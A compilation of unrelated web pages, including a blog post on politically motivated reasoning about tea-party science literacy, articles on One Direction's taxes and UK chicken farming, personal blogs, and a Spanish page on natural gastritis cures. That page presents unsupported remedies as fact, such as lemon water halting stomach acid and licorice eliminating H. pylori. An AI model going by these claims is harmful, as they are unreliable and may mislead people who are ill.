-A recurring irony in the empirical study of politically biased misunderstandings of science is how often people misconstrue empirical evidence of this very phenomenon as a result of politically biased reasoning.  It’s funny.  It’s painful.  And it’s depressing—indeed, the 50th time you see it, it is mainly just depressing  So I wasn’t “surprised”—much less “stunned”—when I observed descriptions of the data I presented on the correlation between science comprehension and identification with the tea party being warped by this same dynamic.  The 14 billion regular readers of this blog (exactly 2,503,232 of whom identity with the tea party) know that I believe that there is no convincing empirical evidence that the science communication problem—the failure of compelling, widely accessible scientific evidence to dispel culturally fractious disputes over societal risks and other policy-relevant facts—can be attributed to any supposed correlation between a “conservative” political outlook & a deficit in science literacy, critical reasoning skills, or commitment to science’s signature methods for discovery of truth.  On the contrary, I believe that the popularity of this claim reflects the vulnerability of those who harbor a “nonconservative” (“liberal,” “egalitarian,” or  whatever one chooses to style it) outlook to accept invalid or ill-supported empirical assertions that affirm their cultural outlooks.  That vulnerability, I believe, is perfectly “symmetrical” with respect to the right-left political spectrum (and the two-dimensional space defined by the cultural continua of “hierarchy-egalitarianism” and “individualism-communitarianism”).  I believe that, in part, because of a study I conducted in which I found evidence that there was an ideologically uniform tendency—one equal in strength, among both “conservatives” and “liberals”—to credit or dismiss empirical evidence supporting the validity of an “open-mindedness” test depending on whether study subjects were told that the test showed that those who share their ideology were more or less open-minded than those subscribing to the opposing one.  Not only do I think the “asymmetry thesis” (AT)—the view that this pernicious deficiency in reasoning is disproportionately associated with conservativism—is wrong.  I think the contempt typically evinced (typically but not invariably; it's possible to investigate such hypotheses without ridiculing people) toward "conservatives" by AT proponents strengthens the dynamics that account for this reason-effacing, deliberation-distorting form of motivated cognition.  I want reasoning people to understand this. I want them to understand it so that they won’t be lulled into behaving in a way that undermines the prospects for enlightened democracy. I want them to understand it so that they can, instead, apply their reason to the project of ridding the science communication environment of the toxic partisan entanglement of facts with cultural meanings that is the source of this pathology.  The “tea party science comprehension” post was written in that spirit. It presented evidence that a particular science comprehension measure I am working on (in an effort to help social scientists, educators, and others improve existing measures, all of which are very crude) has no meaningful correlation with political outlooks.  Actually, the measure did correlate negatively—“r = - 0.05, p < 0.05”—with a scale assessing one’s disposition to identify one’s ideology as “conservative” and one’s party affiliation as “Republican.”  I noted that, and pointed out that this association was far too trivial to be afforded any practical significance whatsoever, much less to be regarded as the source of the fierce conflicts in our society over climate change and other issues turning on decision-relevant science.  But anticipating that politically motivated reasoning would likely induce some readers who identify as “liberal” and “Democratic” to seize on this pitifully small correlation as evidence that of course politically biased reasoning explains why those who identify as "conservative" & "Republican" disagree with them, I advised any such readers to consider the correlation between science comprehension and identifying with the tea-party: r = 0.05, p = 0.05.  Anyone who might be tempted to beat his or her chest in a triumphal tribal howl over the practically meaningless correlation between right-left political outlooks & science comprehension could thus expect to find him- or herself fatally impaled the very next instant on the sharp spear tip of simple, unassailable logic.  I figured this warning would be clear enough even for "liberals” (it's sad that our contemporary political discourse has so compacted the meaning of this word) at the higher end of the “science comprehension” scale (ones lower in science comprehension would be even less likely to draw politically biased inferences from the data), and thus deter them from engaging in such an embarrassing display of partisan unreason.  I also owned that I myself had expected that likely I’d find a modest negative correlation between tea-party membership and science comprehension.  I did that for a couple reasons. The first was that I really did expect that's what I'd see. I surmised, for one thing, that there was likely a correlation between religiosity and tea-party membership (there is: r = 0.16, p < 0.01), and I know religion correlates negatively with “cognitive reflection” and “science literacy” measures—in ways that empirical evidence shows make no meaningful contribution to disputes over climate change etc.  Second, I thought it would be instructive and constructive for me to show how goddam virulent the politically motivated reasoning bias is. Knowing about it is certainly no defense. The only protection is regular infusions of valid empirical evidence administered under conditions that reveal the terrifying prospect that one will in fact display symptoms of true idiocy if one succombs to it.  But despite all this, many many many tea-party partisans succumbed to politically biased reasoning in their assessment of the evidence in my post.  Characterizing a blog post on exploratory probing of a new science comprehension measure as a “study” (indeed, a “Yale study”; I guess I was “misled” again by the “liberal media” about whether the tea party treats Ivy League universities as credible sources of information) , scores of commentators (in blogs, political opinion columns, in comments on my blog, etc) gleefully crowed that the data showed tea party members were "more science literate,” "better at understanding science" etc. than non-members.  My observation that the size of the effect was “trivial,” and my statement that the “statistical” significance level was practically meaningless and as likely to disappear as reappear in any future survey (where one observes a “p-value” very close to 0.05, then one should expect half of the attempted replications to have a p-value above 0.05 and half below that) was conveniently ignored (indeed, writers tried to add force to the reported result by using meaningless terms like “solid” etc. to the describe it).  Also ignored, of course, was that liberals scored higher than conservatives on the same measure and in the same dataset.  Did these zealots feel the sting of 50,000 logic arrows burrowing into their chests moments after they got done beating on them? Doubt it.  So, what to say? I dunno, but here are four observations.  1. Tea party members are like everyone else, as far as I can tell, when it comes to science comprehension.  Is this something to be proud of? I don’t think so. It means that if we were to select a tea-party member at random, there would be a 50% chance he or she would say that “antibiotics kill viruses as well as bacteria” and less than a 40% chance that he or she would be able to correctly interpret data from a simple experiment involving a new skin-rash treatment.  2. Because tea-party members are “just like everyone else,” they too have among their number some individuals who combine a high degree of scientific knowledge with an impressively developed capacity for engaging in critical reasoning.  But because they are like everyone else, these high "science comprehending" tea-party members will be more likely to display politically biased misinterpretations of empirical data than people who display a lower "science comprehension" apptitude. The greater their capacity to engage in analytical thinking, the more systematically they will use that capacity to ferret out evidence congenial to their predispositions and block out and rationalize away everything else.  Moreover, because others who share their values very sensibly rely on them when trying to keep up with what’s known to science, these high science-comprehending tea-party members -- just like high science-comprehending "Democrats" and "Republicans'" and "libertarians" and "socialists" et al.-- will play a principal role in transmitting the reason-effacing pathogens that pervade our polluted science communication environment.  3. Also like everyone else, tea-party members can be expected, as a result of living in a contaminated science communication environment, to behave in a manner that evinces not only an embarrassing deficiency in self-awareness but also an exceedingly ugly form of contempt for others , thereby amplifying the dynamics that are depriving them along with all the other culturally diverse citizens in the Liberal Republic of Science of the full benefit that this magnificent political regime uniquely confers on reasoning, free individuals.  4. Finally, because they are like everyone else, some of the individuals who have used their reason and freedom to join with others in a project they call the “tea-party” movement realize that they have exactly the same stake in repulsing this repulsive pathology as those individuals who’ve used their reason and their freedom to form associations like the “Democratic Party,” the “Republic Party,” the “Libertarian Party,” the “Socialist Party” etc.  They know the only remedy for this insult to our common capacity to reason is to use our common capacity to reason to fashion a new political science, one cognizant of the distinctive challenge that pluralistic democracies face in enabling their citizens to recognize the significance of the unprecedented volume of scientific knowledge that their free institutions have made it possible for them to acquire.  They are resolved to try to make all of this clear to those who share their values—and to reach out to those who don’t to make common cause with them in protecting the science communication environment that enlightened self-government depends on.  The best available evidence doesn’t tell anyone what policy is best. That depends on judgments of value, which will vary—inevitably and appropriately—among free and reasoning people.  Mine differ profoundly from those held by individuals who identify as tea party members. We will have plenty to disagree about in the democratic process even when we agree about the facts.  But without a reliable apprehension of the best available evidence, neither I nor they nor anyone else will be able to confidently identify which policies can be expected to advance our respective values.  In the polluted science communication environment we inhabit, none of us can be as confident as we have a right to be that we truly know what has come to be collectively known through science.
-Tratamiento Natural Para Curar la Gastritis 4.3 (85%) 8 votes (85%)votes  Tratamiento Natural Para Curar la Gastritis  Cada día más personas son afectadas en todo el mundo por la Gastritis. Esta enfermedad demuestra la mala alimentación que tenemos y sobre todo un estilo de vida estresante en el que no disfrutamos del tiempo que tenemos. Todo esto afecta negativamente a nuestro cuerpo haciéndole mucho daño, causando en muchos casos afecciones que antes no teníamos diagnosticadas y que solo se daban por la aparición de alguna infección por bacterias o gérmenes.  El estómago es el órgano dónde se realiza la digestión de los alimentos gracias a la secreción de jugos gástricos que disuelven lo que hemos comido para que sea mucho más fácil absorber las vitaminas y minerales por el intestino delgado.  Este órgano, para proteger sus paredes de los ácidos corrosivos de los que están compuestos los jugos gástricos, tiene una capa de mucosidad gástrica que evita dicha acción. Cuando esta capa se debilita, los ácidos inflaman e irritan las paredes estomacales creando lo que llamamos gastritis, la cual se puede curar de forma natural con el adecuado tratamiento.  La Gastritis es una enfermedad muy común y se ha contabilizado que al menos un 10% de la población la sufren o la han sufrido alguna vez en su vida.  Causas naturales de la gastritis  Una de las principales causas es la infección por una bacteria llamada Helicobacter Pylori. Dicha bacteria incide sobre la mucosa gástrica produciendole un daño, de esta manera los ácidos penetran y dañan las paredes del estómago. Este parásito es el causante de un 80% de los casos de úlceras duodenales y gástricas.  La mala alimentación y los malos hábitos son una de las principales causa debido a la vida estresada que estamos llevando. La comida con grasa, con abundantes fritos, muy procesada o pesada hace trabajar al estómago más de lo que está acostumbrado, por lo que debe de forzarse para que toda la comida sea digerida correctamente. Cuando pasa esto, el estómago segrega mucho más jugo gástrico, haciendo que los niveles de acidez aumenten, dañando el revestimiento del estómago.  El consumo excesivo de alcohol. En la actualidad se está viendo más casos de jóvenes o adultos que están teniendo problemas estomacales, y la razón suele ser que cuando han salido de fiesta han bebido demasiado, esto mezclado con el consumo de tabaco y además la comida chatarra hacen de su estómago una bomba a punto de estallar.  Síntomas de la gastritis  Cúralos de forma natural  Síntomas por los cuales se pueden diagnosticar la gastritis  Indigestión  Náuseas o vómitos  Dolor de abdomen  Inflamación abdominal  Heces negras  Intolerancia alimenticia  El Regaliz: La raíz del regaliz se lleva utilizando con fines medicinales desde la antigüedad. Este descubrimiento lo realizaron los chinos descubriendo los beneficios que proporcionaban a nuestro aparato digestivo, produciendo una limpieza en el tránsito intestinal para que funcione mejor. De igual manera, han descubierto por medio de estudios e investigaciones que tomar té de regaliz o morder regaliz elimina la bacteria Helicobacter Pylori. EL Jengibre: El jengibre al igual que el regaliz tiene unas cualidades beneficiosas para el organismo que pasan desde el cuidado de enfermedades gástricas hasta de corazón. Esta planta preparada en jugos o utilizada en Té colaborará a porteger tu estómago.omada en zumos o en té ayudará a proteger tu estómago, eliminando bacterias. El Ginseng; Cuando la persona se encuentra con nauseas o vómitos, es muy normal que pierda el apetito, lo que hará que vaya perdiendo fuerzas y energías por desnutrición. Con el ginseng conseguirás eliminar los vómitos, ayudando de esta manera a que el enfermo tenga más ganas de comer. Cabe acotar que esta planta es muy beneficiosa contra las infecciones gástricas. Agua con limón: Este tratamiento natural para la gastritis es uno de los más recomendados por todos los que alguna vez han pasado por esta enfermedad. Quizás parezca muy simple, pero es un remedio realmente efectivo. Al tomar limón con agua tibia, y éste llega al estómago, el organismo detecta la acidez del limón, dejando de producir jugos gástricos por lo que la acidez del estómago cesa. Cabe agregar que el limón posee propiedades cicatrizantes, por lo que colaborará en la curación de posibles úlceras formadas paredes estomacales. Patata cruda: Otro de los remedios naturales que se lleva haciendo desde hace décadas es la utilización de patatas crudas para sanar la gastritis de forma natural. Para esto, hay que tomar una patata cruda, pelarla, lavarla y molerla muy bien. Esto lo agregamos en un vaso de agua y dejamos reposar durante toda una noche. Al día siguiente colaremos el agua y nos lo tomamos. El efecto que tiene en nuestro estómago es casi inmediato, aliviando el dolor abdominal y las náuseas.  Atención: Conoce Mi Historia de Lucha Contra la Gastritis Aqui Lee Mi Historia Completa Sobre “Como Me Curé de la Gastritis” y Recuperé el Sentido de Vivir. Conoce como Dije “Basta de Gastritis”.  Mas Información Sobre Remedios Para Curar la Gastritis Dieta para la Gastritis  Dieta para la Gastritis Gastritis Erosiva  Gastritis Erosiva Curar La Gastritis Con Jugo Natural  Curar La Gastritis Con Jugo Natural 6 Alimentos que Te Ayudaran a Curar la Gastritis  6 Alimentos que Te Ayudaran a Curar la Gastritis Gastritis Erosiva Gastroduodenitis Aguda  Gastritis Erosiva Gastroduodenitis Aguda Como Evitar la Gastritis Erosiva  Comparte esto: Haz clic para compartir en Twitter (Se abre en una ventana nueva)  Haz clic para compartir en Facebook (Se abre en una ventana nueva)
-I notice that whenever we go shopping, Akemi always entrusts me with the heaviest and least fragile items. I find that both complimentary and slightly insulting.  Always, Day #2 of our weekend open house went off without a hitch – if you discount the fact that it rained for the entire two hours we took the dogs out. Apparently, another 12+ groups visited, and two couples were return visitors from yesterday. One of them was even so keen, they floated a lowball offer that our agent respectfully informed them wasn’t gonna fly.  Hmmm. Curious to see how this plays out. As I’ve already said, I’m certainly not a motivated seller but, on the other hand, I can’t say I’m an unmotivated seller either. I suppose it would be more apt to describe me as a disinterested seller. Will I sell the house? Won’t I? If I do, will I get a condo in Vancouver? Or will I get one in Toronto? Or both? Or neither? I suppose it will all depend on whether or not we get that fourth season pick-up and even though I’m in the writers’ room, furiously working away on stories for Dark Matter season 4, there’s not guarantee. Our two-part opener was up against the NBA finals and then, watching last Friday’s episode, I was surprised by the fact that we weren’t trending…until I realized what was trending = the SERIES finale of Reign. Looking forward to those +3’s and +7’s!  Hey, speaking of Dark Matter, Syfy Australia has kindly uploaded the third episode of After Dark. That’s the good news. The bad news is that it cuts out halfway through a sneak peek at next week’s kookoo bananas episode, partway through one of my favorite THRAndroid scenes…  I leave you today with some early work on our Episode 311 (“The Dwarf Star Conspiracy”) security satellites…  Aint he the cutest? I’m calling him Murray!  Share this: Facebook  Twitter  Pinterest  Email  Print  More  Tumblr  WhatsApp  Pocket  LinkedIn  Reddit  Like this: Like Loading...
-The UK national press often complains about the practice of major US companies not paying their fair share of corporation tax.  Facebook, for instance, famously paid just £4,327 in UK corporation tax in 2014.  Others who have been in the firing line in recent years include Amazon, Starbucks and Google.  In an age when many artists are starting to think of their ‘brand’ as their own business, One Direction are leading the way.  The band’s members Niall Horan, Harry Styles, Zayn Malik, Liam Payne and Louis Tomlinson all became directors of their own UK business in 2010, 1D Media.  The fivesome – including now-departed member Malik – continue to own equal shares in 1D Media, which pulls in revenue from recording, touring and merchandising for the band.  1D Media has just filed its 2014 accounts with Companies House.  It reveals that One Direction turned over £73.7m in the year, with a post-tax profit of £34.98m.  That’s ‘post-tax’ profit, because 1D Media shelled out £10.47m to HMRC in taxation in 2014.  According to the firm’s filings, £8.24m of that figure was paid in UK corporation tax – 18.1% of its £45.4m pre-tax profit.  In total, 1D Media handed over 23% of its pre-tax profit to the UK taxman.  Some other notable points:  1D Media Revenue was significantly up year-on-year, increasing 50% from £49.1m in 2013  in 2013 Post-tax profit was up almost ten times, from £3.76m in 2013 to £34.98m in 2014.  in 2013 to in 2014. 1D Media paid out a whopping £44.3m in ‘administrative expenses’ in 2013, which dropped to £28.43m in 2014  in ‘administrative expenses’ in 2013, which dropped to in 2014 Liam Payne signs the financial documents for the band  There are no other directors of 1D Media except the band (and Zayn Malik).  The band also own 1D Live LLP.  There’s a line in the 1D Media filing that will bring cheer to anyone who considers themselves pro ‘artist power’: “The directors consider the shareholders of the company to be the ultimate controlling parties.”  Music Business Worldwide
-Image: Composite via evisionarts and prwatch.org  Without a doubt, farmers markets have got a good thing growing. Unfortunately, sneaky copycats have been cropping up as they try to get their paws on the green that comes with that success. In June, Safeway supermarkets in Seattle set up stacks of fruits and veggies outside of their own stores with signs announcing a “Farmers Market.” The mangos on display, however, didn’t stack up with Washington weather and pressure from local groups prompted the stores to change the posters to read “Outdoor Market” instead.  The grocery stores may argue, what’s in a name? But they know exactly what’s in a name: a popular cash flow. And something about an important reconnection with how our food is grown, blah blah, wah wah.  The Wall Street Journal takes note of the trend:  “About 200 Albertsons stores in Washington, Oregon and Idaho put up their own “Farmers Market” signs next to their produce stands. The same groups complained to local Albertsons managers about the promotions, but a spokesman for the chain’s owner, Supervalu Inc., said the Albertson stores may repeat them in the future if the chain deems them effective … Supervalu spokesman Mike Siemienas said the Albertson signs were justified because all the produce advertised came from local farmers.”  However, just because you walk into a farmers market without a grocery chain backdrop, don’t start feeling complacent. The “farmers” themselves may be serving you a side of local bullsh*t with their bald-faced brocco-lies, as an investigation in LA found.  Heads-up, farmers-market-wannabes! Like Heidi Montag’s entire body, we can tell you’re faking it.  Like what you see? Sign up to receive The Grist List, our email roundup of weird, offbeat, and/or just plain funny green news, sent out every Friday.
-Did any of you ever realized those posters on Ford’s wall while he was studying at Backup College? Just look:  The first one everyone knows - Tesla. But come on! Look at the other guy.  This is Carl Sagan - well known cosmologist, astrophysicist, astronomer and astrobiologist. He was also interested in UFO raports and stuff… But… Let’s look at him. Just look.  Isn’t he a meme? But it is not the point of it. Look at his clothes… I mean: Do you see the similarity? Or is it just me?  Well… Looks kind of familiar, doesn’t it?  ((No, I’m sorry, I had to do that))  But wait… There is something else. Not only the old Ford wears the same clothes as his idol - Carl Sagan.  That nerd used to dress himself like Sagan when he was young as well: just look! Isn’t it kind of adorable?  AND THIS IS NOT THE END  Their clothes are so similar. I can’t help it. Like… Ford is so nerdy. OMG.
-How supermarkets have ruined chicken  Susan Holtham Blocked Unblock Follow Following Jun 16, 2017  The real cost of a £3 chicken.  The average price of a UK chicken is cheaper than the average price of a pint of beer.  Here’s the price supermarkets don’t want you to know about:  91% of chickens sold in the UK are allowed by law to have an A4 sheet sized allowance of space in a shed.  Chickens are kept in constant dim light day and night to discourage rest and speed up growth.  Antibiotic use is routine resulting in 1/4 of chickens testing positive for antibiotic resistant e-coli.  2.2m chickens consumed daily in the UK. Around a billion chickens are slaughtered every year.  The supermarket Tesco selling a whole fresh chicken for £3.00  Every day in Britain we eat 2.2 million chickens. Poultry accounts for half the meat eaten in the UK — but how is it possible to sell a whole bird at such an extraordinarily low price? Industrial farming has made it possible for a bird to be housed, fed, slaughtered, processed, packaged and transported to a supermarket shelf near you, all for a price lower than an afterwork beer.  Here’s how factory farming has transformed the humble chicken we eat into something so unrecognisable, we may as well give it a new name.  Supermarkets enable a system where:  A whole fresh chicken is cheaper than a pint of beer.  The average price of a pint in the UK is £3.47. The average cost of a whole chicken weighing a minimum of 1.35kg from four of the leading supermarkets is £3.15. Chicken is a live animal, whereas beer isn’t.  The supermarket has made the whole chicken an everyday staple, such as bread or milk. In the race to the bottom, retailers will do anything to compete against price and keep them low for their customers, particularly for core staple products. If that means paying producers less (remember the nation’s dairy farmers ‘milk trolley challenge’ protest?), producing products of questionable quality or even using fake farm names to suggest provenance, then so be it.  Intensively reared chicken destined for the supermarket  94% of chicken in the UK comes from intensively reared birds.  Intensive methods mean UK chicken farms are allowed to house up to 39 kilos per square metre — that’s about 17 birds per square metre. Probably not what you consider when picking up a bird for the Sunday roast. “Intensive chicken farming goes on behind closed doors,” says Dil Peeling, campaigns director at charity Compassion in World Farming (CWF). “It’s hidden from people. They still have this image of chickens scratching around in a farmyard.”  It’s easy to assume that for every intensively produced chicken there are plenty of free-range and organic birds in the market. However, free-range accounts for just 5% and organic 1% of UK chicken production.  Any wizened farmer will tell you that you get out of the land what you put into it. The same goes for the varied range of chicken farming practices, reflected in the price you pay. You can expect to pay around £9.50 for a free range chicken and £12.80 for an organic one. These chickens differ dramatically in price to intensively reared birds due to how they are raised, and what they are fed.  A factory farmed chicken is raised in a warehouse and fed on grain grown elsewhere using environmentally damaging production methods. A slow-grown or organic chicken on the other hand will spend most of its life outdoors. For feed, it’ll rely on a mix of pasture, grain and hedgerow treats such as berries and seeds.  24% of UK supermarket chicken samples tested positive for antibiotic resistant E-coli.  The intense crowding of chickens in factory farming increases the likelihood of sickness and infection, thereby precipitating the use of preventive antibiotics. It’s estimated 50% of all antibiotics in the UK is given to farm animals. Experts predict that globally, 10 million people a year could die from antibiotic resistant infections by 2050. The world is waking up to the dangers of drug resistance as a result of the overuse of antibiotics and recognising a need for improvements in animal stewardship. Is time ticking for industrial chicken farming?  In 2016 researchers found superbugs on the shelves of all seven major UK supermarkets. Cambridge University Professor Mark Holmes told The Guardian newspaper: “The levels of resistant E. coli that we have found are worrying. Every time someone falls ill, instead of just getting a food poisoning bug, they might also be getting a bug that is antibiotic resistant”.  Slow-grown chicken farmers Nick & Jacob at their farm, Fosse Meadows. A world away from the average supermarket bird.  But there is an alternative:  A better tasting bird has a better quality of life.  Watery breasts that like slice butter, weak bones that bear no resistance, and meat with little, if no flavour. These sacrifices to taste, quality and flavour are a direct result of intensive farming. Chickens reared before World War II were primarily laying hens for egg production. Rationing was lifted in 1954, prompting increased production of chickens raised for meat.  Professor Andrew C. Goodley describes in his report ‘The chicken, the factory farm and the supermarket’ how the independent poultry trade ‘disappeared’ during the war and “it was retailers, not the Ministry of Agriculture, who pressed British poultry farmers to follow American methods, exploit economies of scale and so drive down the price of chicken.”  Farmers are embracing slow-grown chicken.  Small-scale poultry farmers Nick and Jacob at Fosse Meadows Farm in Leicestershire are doing things differently. They believe the best quality chicken comes from slow-grown birds and sell direct to customers across London at farmers’ markets and online via Farmdrop. Their birds are grown for at least 81 days. Nearly double the average slaughter age of 42 days in the EU. Author of The Ethical Carnivore Louise Gray notes how “industry ‘leaders’ are growing ‘fully grown’ chickens in 35 days…raised so fast they barely have time to move around, let alone develop fat, are tasteless.”  Fosse Meadows follow the slow-grown French Label Rouge way of farming which is highly regarded as an exemplary traditional method of raising poultry. “Our birds roam further and they don’t just sit and eat all day. Your supermarket free range chickens won’t be doing these things because their legs aren’t strong enough” says Nick.  The ability to roam free also impacts the taste and texture of the meat. Fosse’s birds moves their muscles more than those kept indoors and enjoy a more varied diet. “Our birds have thicker skin and a much better fat content with lots of flavour in that fat” Nick explains. “Their bones have developed properly and are much stronger. The meat is a lot firmer too and has more structure. It is totally different.”  Can chicken be made good again?  Every food purchase you make is a vote for the kind of food system you want. Buying sustainably produced chicken, knowing who produced it and also holding them accountable is a step to a better system.  Author of The Omnivore’s Dilemma Michael Pollan wrote, “eating industrial meat takes an almost heroic act of not knowing, or, now forgetting.” We haven’t forgotten. More consumers prove they care about these issues — by proving it with their pound. Big retailers will be forced to make changes that are better for our health, and our chickens.
-Ah procrastination, something I constantly struggle with. Don’t we all? I’m fighting it right now – I don’t really enjoy writing these blog posts underneath each comic and I always put it off to until the last minute. I know I must do it, but I really don’t want to. As I sat down to write this, my computer was lagging a bit, so I restarted it. Got up to use the bathroom, decided on the way to the bathroom that I needed to fix myself some tea, then paused to read the mail on my kitchen table and of course I had to check the GREATEST PROCRASTINATION MACHINE THE WORLD HAS EVER KNOWN: my phone. Next thing I know, one hour has passed and I still haven’t started writing.  At least this is not a new phenomenon – Edgar Allan Poe wrote the above words in 1845 and I’m sure an early homo sapien kept putting off a cave painting he knew he had to do thousands of years ago. This passage is taken from Poe’s short story The Imp of the Perverse, the name he gives the creature who forces us to do things we know we shouldn’t. The story is about a man who gets away with murder, and after inheriting his victim’s estate and enjoying his new life for years he inevitably falls victim to the Imp yet again, as he can’t help confessing his crime. Poe conveys it much more eloquently than I do and you can read the entire story here.  Don’t let the Imp get you today, do what you need to get done!  A new Zen Pencils kids book is released next week, collecting the best kid-friendly comics of my site into one easy to read book, perfect for story time or the classroom. You can find all the details and pre-order info here.
-Water Storage Tanks, Cisterns, Aquifers, and Ponds  For Domestic Supply, Fire and Emergency Use Includes How to Make Ferrocement Water Tanks by Art Ludwig Water Storage do-it-yourself guide to designing, building, and maintaining your water tank, cistern or pond, and sustainably managing groundwater storage. It will help you with your independent water system, fire protection, and disaster preparedness, at low cost and using principles of ecological design. Includes building instructions for several styles of ferrocement water tanks and design details for rainwater harvesting. On this page: Reviews  Introduction  Thinking about water  Ferrocement tanks  Table of Contents  Sample Figures  References  Index  Introduction Traditional clay water vessel in Michoacan, Mexico Water Storage describes how to store water for home, farm, and small communities. It will help you design storage for just about any use, including fire safety and emergency, in just about any context—urban, rural, or village. This book includes: general principles to help you design, construct, and use any water system  a look at common mistakes and how to avoid them  how the different kinds of storage can serve you—tanks, groundwater, and ponds  how to determine the optimum amount of storage for your needs  how to determine the best shape and material for your storage  how to manage aquifers sustainably for inexpensive storage of water in the ground  plumbing details for inlets, outlets, drains, overflows, access, etc.  storage accessories and gadgets such as automatic shut-off valves, remote level indicators, ozonators, and filters  how to build your own high-quality tank from ferrocement  original design innovations—published here for the first time—to improve the quality of stored water, increase water security, make maintenance easier, and reduce environmental impacts  real-life examples of storage designs for a wide range of contexts This book offers underlying design principles as well as design specifics. If you run into a situation not specifically covered, there's a good chance you'll be able to use these general principles to figure it out yourself. 3500 gallon ferrocement rainwater storage urn Installed water storage typically costs fifty cents to three dollars or more a gallon ($60-200/m3). If you've got this book in your hands, you're probably on the verge of making decisions about hundreds or thousands of dollars worth of storage. On an average water system, this book could pay for itself a hundred times over in savings on construction and maintenance. Most of the information otherwise available on water storage comes from vendors. Oasis Design doesn't sell water storage hardware, so you don't have to worry about being steered towards stuff you don't need. Rather, we make our living by providing information to help people have a higher quality of life with lower impact. ^ Top ^ | Reviews | Introduction | Thinking About Water | Ferrocement tanks | Table of contents | Figures | References | Index |Water Storage Extras  Chapter 1: Thinking About Water To achieve your design goals for a water system, it is helpful to know what your goals are. The first order of business is to consider: Why Store Water? Nearly all water systems include some form of storage, most commonly a tank. Storage can be used to: cover peaks in demand  smooth out variations in supply  provide water security in case of supply interruptions or disaster  save your home from fire  meet legal requirements  improve water quality  provide thermal storage and freeze protection  enable a smaller pipe to serve for a distant source We're going to consider each of these reasons to store water, then look at design principles to help you frame the goals for your project. Cover Peaks in Demand The most common function of water storage is to cover short-term use flows that are greater than the flow of the water source. For example, a tiny, one gallon-per-minute spring supplies 1440 gallons a day. This is several times more than most homes use in a day. However, almost every fixture in the home consumes water at a faster rate than 1 gpm while it is turned on. Even a low-flow shower head uses about 1.5 gpm. By using water stored in a tank, you can supply water to the shower faster than it is flowing from the spring. On completing the shower, the water will be coming in faster than it is going out, and the tank level will rise back up. If you had a 10,000 gal tank, you could run a 100 gpm fire hose—creating the kind of blast used to bowl over hostile crowds—on the stored water from this tiny spring, for an hour and a half! Hopefully the fire would be out by then, as the tank would take several days to refill. Short on Water By 2025 at least 3.5 billion people—about half the world's population—will live in areas without enough water for agriculture, industry, and human needs... Worldwide, water quality conditions appear to have degraded in almost all regions with intensive agriculture and in large urban and industrial areas. —World Resources Institute, October 2000 Smooth Out Variations in Supply In some circumstances, your storage needs will be affected by variations in the water supply. For instance, if the supply is rainwater, you will need enough storage to make it through the intervals between rainfalls. A six-month, rainless dry season requires a heck of a lot more storage than the most common kind of variable supply—a well pump that cycles on and off. If you have a well that taps stored groundwater, a tank will save wear and tear on your pump, because the pump won't have to switch on and off every time you open a tap. Provide Water Security in Case of Supply Interruptions or Disaster In many places, the water supply chain from source to tap is long and made of many delicate links. If a cow steps on the supply line, a pump breaks, a wire works loose, the electricity goes out, the city misplaces your check, or there is a natural disaster, your water flow could stop. By locating your storage as few chain links away as possible from your use point, a large measure of security is added...  Appendix D: How to Make Ferrocement Tanks Ferrocement tanks consist of an armature (framework) of steel reinforcing, which is then covered with a sand-cement plaster. They offer complete flexibility in shape. They have a long life, are cost-competitive when contractor-built, and are owner-buildable in both industrialized and non-industrialized countries. This section describes how to build ferrocement tanks with various techniques, to a variety of standards and sizes from 250-30,000 gal (1-115 m3). With the aid of an engineer you could adapt the plans up to a 100,000 gal (380 m3) tank. For more on the advantages and characteristics of ferrocement tanks, see Tank Materials/ Ferrocement p. 41. Heavy-duty ferrocement tank (section) The existing literature on ferrocement tanks is sparse, and each document is narrowly focused: one particular size of one design, or a variety of designs but all for the context of non-industrialized nations. The heavy-duty ferrocement construction technique described here—which is suitable for large tanks—has not been described in the literature before to my knowledge. This appendix—practically a book in itself—is unique in that it describes the full range of ferrocement techniques in one place, and reconciles some enormously disparate opinions and techniques into a coherent formulary. From procedures for ultra-light duty tanks that use the absolute minimum of material, to tanks buildable by native women with no construction experience, to detailed procedures for building large tanks to last a lifetime—you can glean the best approach for your context. In the do-it-yourself, innovative spirit of ferrocement, this appendix gives you not only recipes but numerous variations and ideas for promising innovations, so that you can follow a recipe or concoct your own to suit: Plans for Jumbo Thai Jar, an 800 gal (3 m 3 ) light-duty cistern, which can be adapted to make containers of this shape from 250-800 gal (1-3 m 3 ).  ) light-duty cistern, which can be adapted to make containers of this shape from 250-800 gal (1-3 m ). Description of ultra light-duty ferrocement for cisterns up to 3000 gal (11 m 3 ) in size in the non-industrialized world.  ) in size in the non-industrialized world. Plans for light-duty ferrocement 10,000 gal (38 m 3 ) cistern, adaptable for inexpensive, non-industrialized nation-style cisterns from 500-10,000 gal (1.9-38 m 3 ).  ) cistern, adaptable for inexpensive, non-industrialized nation-style cisterns from 500-10,000 gal (1.9-38 m ). Construction photos of medium-duty, urn-shaped, ferrocement cistern of 3500 gal (13 m 3 ), which can be used in conjunction with the heavy-duty ferrocement construction plan to guide the construction of medium-duty construction cisterns from 500-15,000 gal (1.9-57 m 3 ). These also illustrate how ferrocement can be used to make creative shapes and details.  ), which can be used in conjunction with the heavy-duty ferrocement construction plan to guide the construction of medium-duty construction cisterns from 500-15,000 gal (1.9-57 m ). These also illustrate how ferrocement can be used to make creative shapes and details. Detailed plans for heavy-duty ferrocement construction of a 30,000 gal (110 m3) cistern, which can be adapted to tanks from 3000-30,000 gal (11-110 m3) capacity, and with the aid of an engineer, tanks up to 100,000 gal (380 m3).  Contents Chapter 1: Thinking About Water Why Store Water?  Cover Peaks in Demand • Smooth Out Variations in Supply • Provide Water Security in Case of Supply Interruptions or Disaster • Save Your Home from Fire • Meet Legal Requirements • Improve Water Quality • Provide Thermal Storage and Freeze Protection • Enable a Smaller Pipe to Serve for a Distant Source  Design Principles  Water System Design • Performance and Security Standard • Running Water People, Still Water People • Separate Handling for Different Qualities of Water • Design Horizon • Design for Failure, Design for Change • Where the Stuff in Water Ends Up • What Do You Have? What Can You Find?  How Water Quality Changes in Storage  Ways to Improve Water Quality in Storage • Hazardous Disinfection Byproducts• Effects of Heating • Bacterial Regrowth • The Problem of Leaching • Water Age • How to Test Stored Water Chapter 2: Ways to Store Water Source Direct (No Storage)  Store Water in Soil  Store Water in Aquifers  How Water Gets into and Moves through Aquifers • How to Increase the Amount of Water in Your Aquifer • Conjunctive Use • Sustainable management of groundwater • Overdrafting, Mining Fossil Groundwater • Protecting Groundwater Quality  Store Water in Ponds  Types of Man-Made Ponds and Where to Put Them • Pond Water Sources • Evaporation • Pond Size • Pond Depth • Pond Shape • Pond Inlets and Outlets • Pond Liners • Levee Construction • Wildlife and Ponds • Sport Fish in Ponds • 